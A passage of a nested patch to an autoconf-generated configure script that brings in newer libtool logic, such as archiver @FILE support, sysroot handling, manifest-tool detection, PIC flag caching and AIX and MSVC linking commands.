++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6174,8 +6426,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6191,7 +6445,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6211,11 +6465,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_ac_ct_AR+:} false; then :
+@@ -6231,7 +6489,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_ac_ct_AR="ar"
++ ac_cv_prog_ac_ct_AR="$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6250,6 +6508,10 @@ else
+ $as_echo "no" >&6; }
+ fi
+
++
++ test -n "$ac_ct_AR" && break
++done
++
+ if test "x$ac_ct_AR" = x; then
+ AR="false"
+ else
+@@ -6261,25 +6523,20 @@ ac_tool_warned=yes ;;
+ esac
+ AR=$ac_ct_AR
+ fi
+-else
+- AR="$ac_cv_prog_AR"
+ fi
+
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++
+
+
+
+@@ -6290,6 +6547,63 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
++$as_echo_n "checking for archiver @FILE support... " >&6; }
++if ${lt_cv_ar_at_file+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_ar_at_file=no
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++/* end confdefs.h. */
++
++int
++main ()
++{
++
++ ;
++ return 0;
++}
++_ACEOF
++if ac_fn_c_try_compile "$LINENO"; then :
++ echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
++ (eval $lt_ar_try) 2>&5
++ ac_status=$?
++ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
++ test $ac_status = 0; }
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++
++fi
++rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
++$as_echo "$lt_cv_ar_at_file" >&6; }
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++
++
++
++
++
++
+
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+@@ -6630,8 +6944,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -6667,6 +6981,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6708,6 +7023,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6719,7 +7046,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6745,8 +7072,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6756,8 +7083,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6794,6 +7121,14 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
+
+
+
+@@ -6812,6 +7147,47 @@ fi
+
+
+
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
+
+
+
+@@ -7021,6 +7397,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7584,6 +8077,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8135,8 +8630,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8302,6 +8795,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8364,7 +8863,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8421,13 +8920,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8488,6 +8991,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8838,7 +9346,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8937,12 +9446,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8956,8 +9465,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8975,8 +9484,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9022,8 +9531,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9153,7 +9662,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9166,22 +9681,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9193,7 +9715,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9206,22 +9734,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9266,20 +9801,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
